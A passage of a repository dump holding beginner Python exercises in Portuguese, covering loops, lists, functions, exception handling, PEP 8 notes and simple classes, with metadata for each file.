ano!!!')\n"},{"alpha_fraction":0.37755101919174194,"alphanum_fraction":0.43877550959587097,"avg_line_length":23.75,"blob_id":"1993cf095f6a146a890134f291cf8a1e55b846dd","content_id":"c4dba121655235fb54688e7e5f77008d5161f7f2","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":98,"license_type":"permissive","max_line_length":36,"num_lines":4,"path":"/curso_monitoria/for_encadeado.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"for i in range(11):\n for j in range(11):\n print(i, \"x\", j,\" = \",i * j)\n print(\"=\"*30)"},{"alpha_fraction":0.5861618518829346,"alphanum_fraction":0.5900783538818359,"avg_line_length":23.74193572998047,"blob_id":"eeb21f2c3f7532cc278498bbcc77aee4b314fbe8","content_id":"32ceb3a1f9a57f0558070eef83822de2a96ce72e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":767,"license_type":"permissive","max_line_length":57,"num_lines":31,"path":"/PythonPOO/Encapsulamento.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nPublic, protected, private\n_ protected(public _)\n__ private (_NOMECLASSE__NOMEATRIBUTO)\n\"\"\"\nclass BaseDeDados:\n def __init__(self):\n self.__dados = {}\n\n @property\n def dados(self):\n return self.__dados\n\n def inserir_cliente(self, id, nome):\n if 'clientes' not in self.__dados:\n self.__dados['clientes'] = {id: nome}\n else:\n self.__dados['clientes'].update({id: nome})\n\n def lista_clientes(self):\n for id, nome in self.__dados['clientes'].items():\n print(id, nome)\n\n def apaga_cliente(self, id):\n del self.__dados['clientes'][id]\n\nbd = BaseDeDados()\nbd.inserir_cliente(1,'Otávio')\nbd.inserir_cliente(2, 'Miranda')\nbd.inserir_cliente(3, 'Rose')\nprint(bd.lista_clientes())"},{"alpha_fraction":0.5862069129943848,"alphanum_fraction":0.5862069129943848,"avg_line_length":24,"blob_id":"cee28ddea1233343d46cce013c0f4aff59d33499","content_id":"967f7b2fbc20c64885e7524ffc93f5e454e6687b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":174,"license_type":"permissive","max_line_length":52,"num_lines":7,"path":"/curso_monitoria/matriz.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"print(\"Vamos criar um tabuleiro de tamanho: N x N\")\nn=int(input(\"Valor de N: \") )\n\nfor linha in range(n):\n for coluna in range(n):\n print(\"x \",end='')\n print()"},{"alpha_fraction":0.5786119103431702,"alphanum_fraction":0.5864022374153137,"avg_line_length":26.173076629638672,"blob_id":"7cae4040ebcc59c78deceb6ca3226800caf0bc5d","content_id":"4878bfb9a5b8bf48668008186a30a0a153c0b6d8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1437,"license_type":"permissive","max_line_length":97,"num_lines":52,"path":"/Geek-University/Seção3/Boas Praticas.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\n# Index of python enhacement proposals(PEPS)\n -> São propostas de melhoria para a linguagem python\n The Zen of python\n import this\n A ideia da PEP8 é que possamos escrever códigos Phython de forma pythônica.\n\n [1] - Utilize camel case para nomes de classes;\n\n Class Calculadora:\n pass\n\n Class CalculadoraCientifica:\n pass\n\n [2] - Utilize nomes em minusculo, separados por underline para funções e variaveis;\n\n def soma():\n pass\n\n def soma_dois():\n pass\n\n numero = 4\n\n numero_impar = 5\n\n [3] - Utilize 4 espaços para indentação!(não use tab)\n if 'a' in 'banana':\n print(team)\n\n [4] - Linas em branco\n - Separar funções e definições de classe com duas linhas em branco;\n - Métodos deentro de uma classe devem ser separados com uma única linha em branco;\n\n [5] - Imports\n - Imports devem ser sempre feitos em linhas separadas;\n - Os imports devem ser colocados no topo do arquivo, antes de qualquer variavel ou função\n import sys\n import os\n\n ou\n fom types import (\n StringType,\n ListType,\n SetType,\n OutroType\n )\n [6] - Não coloque espaço entre expressões e instruções\n\n [7] - Termine sempre uma instrução com uma nova linha\n\"\"\""},{"alpha_fraction":0.5179855823516846,"alphanum_fraction":0.5251798629760742,"avg_line_length":23.52941131591797,"blob_id":"a220ee98083fe59318af6cb5fb93fb04c36339a0","content_id":"b34ebbf1610efa3662f245a7e51d2565bc90f3aa","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":420,"license_type":"permissive","max_line_length":54,"num_lines":17,"path":"/Curso-Em-Video/M3/ex82.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvetor = []\npar = []\nimpar = []\nwhile True:\n n = int(input('Digite um número: '))\n vetor.append(n)\n op = str(input('Deseja continuar? [S/N]')).upper()\n if n % 2 ==0:\n par.append(n)\n else:\n impar.append(n)\n if op == 'N':\n break\nprint(f'\\n O vetor gerado foi:{vetor}'\n f'\\n Os números pares foram: {par}'\n f'\\n Os números impares foram: {impar}')\n"},{"alpha_fraction":0.7307692170143127,"alphanum_fraction":0.7615384459495544,"avg_line_length":31.75,"blob_id":"e6c45cc80c56ae7d0a29c605b874677f05aeff0e","content_id":"b2984e79705e76a523ac0c40ff26d45a530332f6","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":130,"license_type":"permissive","max_line_length":45,"num_lines":4,"path":"/Curso-Em-Video/M3/utilidadecev/teste.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from utilidadecev import moeda\nfrom utilidadecev import dado\np = dado.leiaDinheiro('Digite o preco: R$ ')\nmoeda.resumo(p, 80 ,35)"},{"alpha_fraction":0.6511500477790833,"alphanum_fraction":0.6670317649841309,"avg_line_length":41.44186019897461,"blob_id":"2e470eb0fb67a798de2af3e7f8ab59e8344d2f76","content_id":"034cd7ba0a2598eae0fb54c86ef5551d060b9137","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1837,"license_type":"permissive","max_line_length":135,"num_lines":43,"path":"/Curso-Em-Video/M3/listas.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n#Listas são variaveis compostas mutaveis\n * Podemos adicionar itens a uma lista com o cumando append()\n ex: lista.append('x') -> adiciona o elemento 'x' na lista\n * Podemos definir onde será adicionado o novo item com o comando insert()\n ex: lista.insert(0,'x') -> adicion o elemento 'x' na posição 0 da lista\n * Podemos apagar intens de uma lista com o comando del, pop ou remove\n ex: - del lista[x] -> deleta o elemento xº elemento da lista.\n - lista.pop(x) -> deleta o xº elemento da lista, caso não receba nenhum parametro o ultimo elemento da lista será deletado.\n - lista.remove('x') deleta o VALOR 'x' da lista.\n\n * Podemos utilizar os operadore if in para verificar a existencia\n de determinados itens na lista.\n\n * Podemos utilizar o range para criar uma lista.\n ex: lista = list(range(4,11)) -> gera a lista :[4,5,6,7,8,9,10]\n OBS: o enumerate também funciona em listas\n\n * Podemos utilizar o metodo sort para ordenar os valores de uma lista\n ex: lista.sort()\n obs: caso queia a ordem inversa utilize o parametro reverse =True\n ex: lista.sort(reverse=True)\n * Podemos usar o len para contar os elementos de uma lista\n ex: lista.len()\n\"\"\"\nnum = [2,5,9,1]\nprint(num)\nnum[2] = 3\nprint(num)\nnum.append(2)\nprint(num)\nnum.remove(2)#remover ira remover o primeiro elemento de valor '2' da esquerda para a direita\nnum.sort()\nprint(num)\nnum.sort(reverse=True)\nprint(num)\na = [2,3,4,7]\n# a = b -> neste caso estamos ligando duas listas de forma que a alteração em uma seja repetida na outra\nb = a[:] # -> neste caso estamos fazendo com que 'b' receba todos os itens de 'a' em outras palavras estamos fazendo uma copia de 'b'\nb[2] = 8\nprint(f'Lista A: {a}')\nprint(f'Lista B: {b}')\n\n"},{"alpha_fraction":0.5553278923034668,"alphanum_fraction":0.5840163826942444,"avg_line_length":27.705883026123047,"blob_id":"00fe887d8462f33811385bdac25d60bbf423c19b","content_id":"c66e073936b9cce9313964d5e48c901105629ea4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":496,"license_type":"permissive","max_line_length":52,"num_lines":17,"path":"/Curso-Em-Video/M3/ex75.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn3 = 0\nrepet = 0\npar = 0\nnum =(int(input('Digite um número: ')),\n int(input('Digite um número: ')),\n int(input('Digite um número: ')),\n int(input('Digite um número: ')))\nfor p,n in enumerate(num):\n if n % 2 ==0:\n par +=1\n if 3 in num:\n n3 = p\nprint(f'Você digitou os valores: {num}')\nprint(f'O valor 9 se repetiun {num.count(9)} vezes')\nprint(f'O número 3 apareceu na posição {n3}')\nprint(f'O total de valore pares foram {par}')\n"},{"alpha_fraction":0.5309168696403503,"alphanum_fraction":0.5671641826629639,"avg_line_length":30.33333396911621,"blob_id":"4ebd834bf0ed3fd4af45c1ffc7bfd9b6cb4a35fe","content_id":"f7cacbfee293042984474eaf34c478bf5d6882ed","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":472,"license_type":"permissive","max_line_length":83,"num_lines":15,"path":"/Curso-Em-Video/M3/ex113.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def leiaInt(msg):\n while True:\n try:\n n = int(input(msg))\n except (ValueError, TypeError):\n print('\\033[31mERRO: por favor digite um número inteiro válido.\\033[m')\n continue\n except (KeyboardInterrupt):\n print('\\n \\033[31mEntrada de dados interropida pelo usúario.\\033[m ')\n return 0\n else:\n return n\n\nnum =leiaInt('Digite um valor: ')\nprint(f'O valor digitado foi {num}')"},{"alpha_fraction":0.5584415793418884,"alphanum_fraction":0.6883116960525513,"avg_line_length":25,"blob_id":"70ee41d48afaf7dd4ed4a72515272087bfba0b2b","content_id":"fd8760b613717b3f6886b816cbd4f4b1e0122a42","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":77,"license_type":"permissive","max_line_length":38,"num_lines":3,"path":"/Curso-Em-Video/M3/ex110.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod110\np = float(input('Digite o preco: R$'))\nmod110.resumo(p, 80 ,35)"},{"alpha_fraction":0.6079545617103577,"alphanum_fraction":0.6420454382896423,"avg_line_length":24.14285659790039,"blob_id":"b46b82f0706497896e2d05cd5fd750544cb0e3b0","content_id":"3be85e2181e30a5a1c903dcd41ae9dba6a847dff","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":177,"license_type":"permissive","max_line_length":64,"num_lines":7,"path":"/Curso-Em-Video/M2/ex46.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport time\nstart = input('Aperte ENTER para iniciar a contagem regressiva')\nfor i in range(10,0,-1):\n print(i)\n time.sleep(1)\nprint('LANÇAR!!!')\n"},{"alpha_fraction":0.49250534176826477,"alphanum_fraction":0.5128479599952698,"avg_line_length":25.714284896850586,"blob_id":"64b769a5e0b5a9f171d89ab4068fdc85c0839681","content_id":"97faa47862f9e6782e4f880cd93701da93e88652","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":945,"license_type":"permissive","max_line_length":76,"num_lines":35,"path":"/Curso-Em-Video/M3/ex105.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def notas(*n, sit=''):\n \"\"\"\n -> Função para analisar notas e situações de varios alunos.\n :param n: uma ou mais notas dos alunos\n :param sit: valor opcional, indicando se deve ou não aceitar a validação\n :return: dicionario com varias informções sobre a situação da turma.\n \"\"\"\n menor =99999\n maior = 0\n tot = 0\n aluno = dict()\n situacao = ''\n for i in n:\n tot+= i\n med = tot/len(n)\n if i > maior:\n maior = i\n if i < menor:\n menor = i\n if med <= 7:\n situacao ='BOA'\n if med > 5 and med < 7:\n situacao ='Rasoavel'\n if med < 6:\n situacao ='Ruim'\n aluno['total'] = len(n)\n aluno['maior'] = maior\n aluno['menor'] = menor\n aluno['media'] = med\n if sit:\n aluno['Situacao'] = situacao\n return aluno\n\nresp = notas(5.5,2.5,10, 6.5, sit=True)\nprint(resp)"},{"alpha_fraction":0.6486486196517944,"alphanum_fraction":0.6554054021835327,"avg_line_length":36,"blob_id":"fc3edb2cbcd8f8353f34fb49568926b1e99061bc","content_id":"b87ad7d4aee6473c044a77f95148718adf792585","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":151,"license_type":"permissive","max_line_length":59,"num_lines":4,"path":"/Curso-Em-Video/M1/ex16.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom math import trunc\nnum = float(input('Digite um número: '))\nprint(f'O valor do inteiro do número {num} é {trunc(num)}')\n"},{"alpha_fraction":0.5170316100120544,"alphanum_fraction":0.5571776032447815,"avg_line_length":42.26315689086914,"blob_id":"0cd23836944857f5c7fde24886bc6ba9ee5ddced","content_id":"25b33b95d34de970a0f85d35c04efa14b70faa5a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":836,"license_type":"permissive","max_line_length":94,"num_lines":19,"path":"/Curso-Em-Video/M2/ex44.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvalor = float(input('Digite o valor do produto: '))\nop = int(input(\"\"\"\\nEscolha a forma de pagamento:\n \\n [1] -> Á vista no dinheiro 10% de esconto\n \\n [2] -> Á vista no cartão 5% de desconto\n \\n [3] -> Até 2x no cartão o preço normal\n \\n [4] -> 3X ou mais no cartão 20% de juros\n \"\"\"))\nif op == 1:\n nvalor = valor - (valor*(10/100))\n print(f'O Preço original é {valor} com o desconto do pagamento em dinheiro fica {nvalor}')\nelif op == 2:\n nvalor = valor - (valor*(5/100))\n print(f'O novo preço com desconto de 5% é {nvalor}')\nelif op == 3:\n print(f'O preço do produto permanece {valor}')\nelif op == 4:\n nvalor = valor + (valor*(20/100))\n print(f'O novo prço com acrescimo de 20% é {nvalor}')\n"},{"alpha_fraction":0.6826003789901733,"alphanum_fraction":0.6921606063842773,"avg_line_length":86.16666412353516,"blob_id":"3c914b1cf788b2e44d9f6d0b7e36748ce5e9cb7f","content_id":"fdce2a7b447ab24090a9e4fbe6302565352109df","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":535,"license_type":"permissive","max_line_length":237,"num_lines":6,"path":"/Curso-Em-Video/M3/ex73.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntime = ('Corinthias','Palmeiras','Santos','Grêmio','Cruzeiro','Flamengo','Vasco','Chapecoence','Atletico','Botafogo','Atlético-PR','Bahia','São Paulo','Fluminense','Sport Recife','EC Vitoria','Coritba','Avaí','Ponte Preta','Atletico-GO')\nprint(f'\\n Lista dos times do brasileirão: {time}')\nprint(f'\\n Os 5 primeiros times do brasileirão são: {time[:5]}')\nprint(f'\\n Os 4 últimos times do brasileirão são: {time[-4:]}')\nprint(f'\\n Lista dos times do brasileirão em ordem alfabética: {sorted(time)}')\n"},{"alpha_fraction":0.5830258131027222,"alphanum_fraction":0.6974169611930847,"avg_line_length":53.400001525878906,"blob_id":"2b4e89c4dd2e1acf40f9c51bcf82be363fffe616","content_id":"e38d9355034d3c8d1cf56c99a709dd69c5b01b5b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":273,"license_type":"permissive","max_line_length":75,"num_lines":5,"path":"/Curso-Em-Video/M3/ex108.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod108\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {mod108.moeda(p)} é {mod108.moeda(mod108.metade(p))} ')\nprint(f'O dobro de {mod108.moeda(p)} é {mod108.moeda(mod108.dobro(p))}')\nprint(f'Aumentando 10%, temos {mod108.moeda(mod108.aumentar(p,10))}')"},{"alpha_fraction":0.41208791732788086,"alphanum_fraction":0.44505494832992554,"avg_line_length":19.22222137451172,"blob_id":"d12aca6c7713361bd51156ce9a5d3c76dafcdcef","content_id":"528925bd09cedfdacace8265afd7c7cecd77b025","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":184,"license_type":"permissive","max_line_length":40,"num_lines":9,"path":"/Curso-Em-Video/M2/ex60.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nprint('\\n----------Fatorial-----------')\nn = int(input('Digite um número: '))\nnf=n-1\nn1 = n\nwhile nf >0:\n n = n * nf\n nf = nf - 1\nprint(f'{n1}! é {n}')\n"},{"alpha_fraction":0.6768837571144104,"alphanum_fraction":0.6781609058380127,"avg_line_length":36.28571319580078,"blob_id":"d0cc3056c08a51d8235812e1e0063d4a53161665","content_id":"251683ecc2aa9b5a4b2a40cb6229c7c4c8b97966","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":798,"license_type":"permissive","max_line_length":101,"num_lines":21,"path":"/Curso-Em-Video/M1/modulos.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n* Podemos importar bibliotecas do python com: import <biblioteca>\n -> Na necessidade de apenas uma função de um modulo especifico: from <biblioteca> import <função>\n\n* Exmplo de modulos usados:\n math -> biblioteco de funções matematicas\n - ceil: Arredonda um valor para cima\n - floor: Arredonda um valor para baixo\n - trunc: Trunca um número(Elimina o que esta depois da virgula)\n - pow: pontenciação\n - sqrt: Calcula a raiz quadrada de um número\n - Fatorial: olha o nome.\n random -> funções com números randomicos\n* pesquise o PyId no site oficial do python para ver o index de bibliotecas\n\"\"\"\nimport math\n\nnum = int(input('Digite um número: '))\nraiz = math.sqrt(num)\nprint(f'A raiz de {num} é {raiz}')\n"},{"alpha_fraction":0.7182539701461792,"alphanum_fraction":0.7301587462425232,"avg_line_length":32.599998474121094,"blob_id":"c83433b06e6588a7dbf7d12b50c0e549bce6cadc","content_id":"70c5d0b992a2a8d148d9cc79a233f02607c7af24","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":534,"license_type":"permissive","max_line_length":119,"num_lines":15,"path":"/curso_monitoria/break.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"#Break\n'''\nA instrução break finaliza a iteração e o Script continua a execução normalmente. O objetivo dessa instrução é fornecer\na capacidade de forçar a interrupção da iteração.\n\nA seguir, temos um código simples que utiliza a instrução break pra finalizar a execução do laço de repetição while,\nquando a condição definida com a instrução if retornar verdadeiro.\n'''\nx = 0\nfor x in range(0,11):\n x+=1\n if(x==5):\n print(\"Interrompendo a execução da repetição.\")\n break\n print(x)\n"},{"alpha_fraction":0.4762931168079376,"alphanum_fraction":0.4913793206214905,"avg_line_length":26.294116973876953,"blob_id":"099feb966ae3e25bd4cbeb24ab4c4e4ea1b48825","content_id":"ddfde7256ab229268164138290de89fcc50afd5d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":466,"license_type":"permissive","max_line_length":65,"num_lines":17,"path":"/Curso-Em-Video/M3/ex80.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvetor = []\nfor i in range(0,5):\n n = int(input('Digie um valor: '))\n if i == 0:\n vetor.append(n)\n elif n > vetor[len(vetor)-1]:\n vetor.append(n)\n else:\n #varre a lista para encontrar a posição correto do numero\n pos = 0\n while pos < len(vetor):\n if n <= vetor[pos]:\n vetor.insert(pos,n)\n break\n pos +=1\nprint(f'O vetor gerado foi: {vetor}')\n"},{"alpha_fraction":0.7493606209754944,"alphanum_fraction":0.7595908045768738,"avg_line_length":42.55555725097656,"blob_id":"2d53191d8d900f50734112296d9c49a8c7ee5337","content_id":"0d2f751cf610e232609ee8deee1938b252412f53","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":391,"license_type":"permissive","max_line_length":108,"num_lines":9,"path":"/Introdução a Ciência de Dados/alura_intro/aula01.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import pandas as pd\nuri =\"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula4.1/movies.csv\"\nfilmes = pd.read_csv(uri)\n#print(filmes)\nfilmes.columns = [\"filmes_ID\",\"titulo\",\"genero\"]\nprint(filmes.head())\nurin = \"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula1.2/ratings.csv\"\nnotas = pd.read_csv(urin)\nprint(notas.head())"},{"alpha_fraction":0.6536312699317932,"alphanum_fraction":0.6564245820045471,"avg_line_length":38.77777862548828,"blob_id":"2212882c66edba18cdc748396ead4bdb4940a7d6","content_id":"dd3fdf9212ebac0ace846f3c95f68239357de9be","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":365,"license_type":"permissive","max_line_length":51,"num_lines":9,"path":"/Curso-Em-Video/M1/dissecando.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nx = input(\"Digite algo: \")\nprint(f'O tipo primitivo deste valor é: {type(x)}')\nprint(f'Só tem espaços? {x.isspace()}')\nprint(f'so tem numero? {x.isnumeric()}')\nprint(f'É alfanumerico? {x.isalpha()}')\nprint(f'Está entre maiusculas? {x.isupper()}')\nprint(f'está em minusculas? {x.islower()}')\nprint(f'Está capitalizada? {x.istitle()}')\n"},{"alpha_fraction":0.4888579249382019,"alphanum_fraction":0.538997232913971,"avg_line_length":28.91666603088379,"blob_id":"545e8a2c181d6ab853c87d75b987694234c3ae90","content_id":"435e91699bc9c75b4cc8aec3a443ddb016f0a4eb","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":720,"license_type":"permissive","max_line_length":71,"num_lines":24,"path":"/Curso-Em-Video/M3/ex89.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntoken = list()\nwhile True:\n name =str(input('Digite o nome do aluno: '))\n grd1 = float(input('Nota 1: '))\n grd2 = float(input('Nota 2: '))\n avg = (grd1 + grd2)/2\n token.append([name,[grd1,grd2],avg])\n op =str(input('Deseja continuar? '))\n if op in 'Nn':\n break\nprint('-=-'*30)\nprint(f'{\"NO.\":<4}{\"NOME\":10}{\"MÉDIA\":>8}')\nprint('-'*26)\nfor i, a in enumerate(token):\n print(f'{i:<4}{a[0]:<10}{a[2]:>8.1f}')\nwhile True:\n print('-'*36)\n opn =int(input('Mostrar as notas de qual aluno? (999 interrompe)'))\n if opn ==999:\n print('Finalizando...')\n break\n if opn<= len(token) - 1:\n print(f'Notas de {token[opn][0]} são {ficha[opc][1]}')\n"},{"alpha_fraction":0.5845410823822021,"alphanum_fraction":0.6618357300758362,"avg_line_length":40.599998474121094,"blob_id":"6751c23b6f8a67bd0e1b2d4ed98765651fa4bbd3","content_id":"6f48914765c3edd5d8e3ce9ad44f5320fe1fec5c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":209,"license_type":"permissive","max_line_length":57,"num_lines":5,"path":"/Curso-Em-Video/M3/ex107.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod107\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {p} é R${mod107.metade(p)} ')\nprint(f'O dobro de {p} é R${mod107.dobro(p)}')\nprint(f'Aumentando 10%, temos R${mod107.aumentar(p,10)}')"},{"alpha_fraction":0.5753424763679504,"alphanum_fraction":0.5821917653083801,"avg_line_length":21.461538314819336,"blob_id":"ce5f05488d3bedb725c4e9e89fed29cfc0da1666","content_id":"e0d6fd6aaf59a02311dde759c076f1092a44b9f5","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":295,"license_type":"permissive","max_line_length":57,"num_lines":13,"path":"/analizador.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import re\n\nexpression = input(\"Digite a expresão a ser analizada: \")\n\ndef space(x):\n total_space = 0\n for i in x:\n if x.find(''):\n total_space += 1\n return total_space\n\nprint(f'\\n Expressão: {expression}'\n f'\\n Total de espaçosi: {space(expression)}')\n"},{"alpha_fraction":0.5444126129150391,"alphanum_fraction":0.5472779273986816,"avg_line_length":33.900001525878906,"blob_id":"b58ae84cd048cc229fe99d4e55538781ee165c72","content_id":"f6858591f1b72926969e85b357079eb17410443e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":349,"license_type":"permissive","max_line_length":57,"num_lines":10,"path":"/Curso-Em-Video/M3/ex77.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\npalavras = ('aprender','programar','linguagem','python',\n 'curso','gratis','estudar','praticar',\n 'trabalhar','mercado','programador','futuro')\n\nfor p in palavras:\n print(f'\\n Na palavra {p} temos: ', end='')\n for letra in p:\n if letra.lower() in 'aeiou':\n print(letra, end=' ')\n"},{"alpha_fraction":0.7220543622970581,"alphanum_fraction":0.731117844581604,"avg_line_length":24.538461685180664,"blob_id":"aedc14320f07471c8c0d0a4408fc558039aacbbe","content_id":"e110f333eb2e412505d6b235b918d10207521ab4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":343,"license_type":"permissive","max_line_length":50,"num_lines":13,"path":"/Curso-Em-Video/M3/modulos.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import modulos2\n\"\"\"\n# Vantagens da modularização\n- Organização do código\n- Facilidade na manutenção\n- Ocultação de código detalhado\n- Reutilizar o codigo em outros projetos\n\n\"\"\"\nnum = int(input('Digite um valor'))\nfat = modulos2.fatorial(num)\nprint(f'O fatorial de {num} é {fat}')\nprint(f'O dobro de {num} é {modulos2.dobro(num)}')"},{"alpha_fraction":0.5611510872840881,"alphanum_fraction":0.5719424486160278,"avg_line_length":24.363636016845703,"blob_id":"4859611a09f19eeb06979af6e91ecaa5acd77403","content_id":"a9a4a5025d48f86cdde89dba532cb36dac028149","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":278,"license_type":"permissive","max_line_length":57,"num_lines":11,"path":"/Paradigmas_Program/Produto.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"class Produto:\n def __init__(self, idt, descricao, preco=0.0, qtd=1):\n self.idt = idt\n self.descricao = descricao\n self.preco = preco\n self.qtd = qtd\n\n def get_descricao(self):\n return self.descricao\n def get_preco(self):\n pass"},{"alpha_fraction":0.6061007976531982,"alphanum_fraction":0.6511936187744141,"avg_line_length":40.83333206176758,"blob_id":"aeb0329976587d6d5f1aa07ca94a58ddecfd7d23","content_id":"31c1468707fe6fa429a7a447f36ec2f30f1c4ede","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":759,"license_type":"permissive","max_line_length":79,"num_lines":18,"path":"/Curso-Em-Video/M2/ex42.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nr1 = float(input('Digite o valor da reta 01: '))\nr2 = float(input('Digite o valor da reta 02: '))\nr3 = float(input('Digite o valor da reta 03:'))\n\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\n triangulo = True\n print('Esse valores geram um triagunlo ')\nelse:\n triagunlo = False\n print('Esse valores não geram um triagunlo')\n\nif triangulo == True and r1 == r2 == r3:\n print('Por possuir todos os lados iguais esse triagunlo é EQUILATERO')\nelif triangulo == True and r1 == r2 != r3 or r2 == r3 != r1 or r3 == r1 != r2:\n print('Por possuir dois lados iguais esse triangulo é isórceles')\nelif triangulo == True and r1 != r2 != r3:\n print('Por possuir todos os lados diferentes esse triangulo é Escaleno')\n\n"},{"alpha_fraction":0.48524925112724304,"alphanum_fraction":0.4950830936431885,"avg_line_length":26.05504608154297,"blob_id":"e5512b9aae4904a93e893b53db06d5825d23f305","content_id":"e0202201911510b0bee05dbb89c0ec5730726e98","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2951,"license_type":"permissive","max_line_length":204,"num_lines":109,"path":"/Paradigmas_Program/Italo_Vinicius_Neves_Cordeiro.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nNome: Italo Vinicius Neves Cordeiro\nRA: 21908201\n\"\"\"\nclass Disciplina:\n def __init__(self, identificador, nome):\n self._identificador = identificador\n self._nome = nome\n self._professor = []\n\n @property\n def id(self):\n return self._identificador\n\n @id.setter\n def id(self, identificador):\n self._identificador = identificador\n\n @property\n def nome(self):\n return self._nome\n\n @nome.setter\n def nome(self, nome):\n self._nome = nome\n\n @property\n def professor(self):\n return self._professor\n\n @professor.setter\n def professor(self,professor):\n self.professor = professor\n\n def cadastra_profesor(self,professor):\n self.professor.append(professor)\n\n def monstra_dados_disciplina(self):\n print(f'\\n Id:{self.id}'\n f'\\n Nome: {self.nome}'\n f'\\n \\n '\n f'Lecionada por: ')\n for professor in self._professor:\n professor.mostra_professor()\n def consulta_nome_professor(self):\n nome = str(input('Digite o nome do professor: '))\n for professor in self._professor:\n if professor.nome == nome:\n professor.mostra_professor()\n else:\n print('Professor não cadastrado!')\n\n def altera_idade_professor(self, nidadde):\n p = str(input('Qual professor você deseja modificar? '))\n self.consulta_nome_professor()\n nidadde = str(input('Insira o novo nome: '))\n\n def dados_professor_mais_novo(self):\n pass\n\n#==========================================================================================================================================================================================================\n\nclass Professor:\n def __init__(self, cpf, nome, idade):\n self._cpf = cpf\n self._nome = nome\n self._idade = idade\n self._disciplina = None\n\n @property\n def cpf(self):\n return self._cpf\n\n @cpf.setter\n def 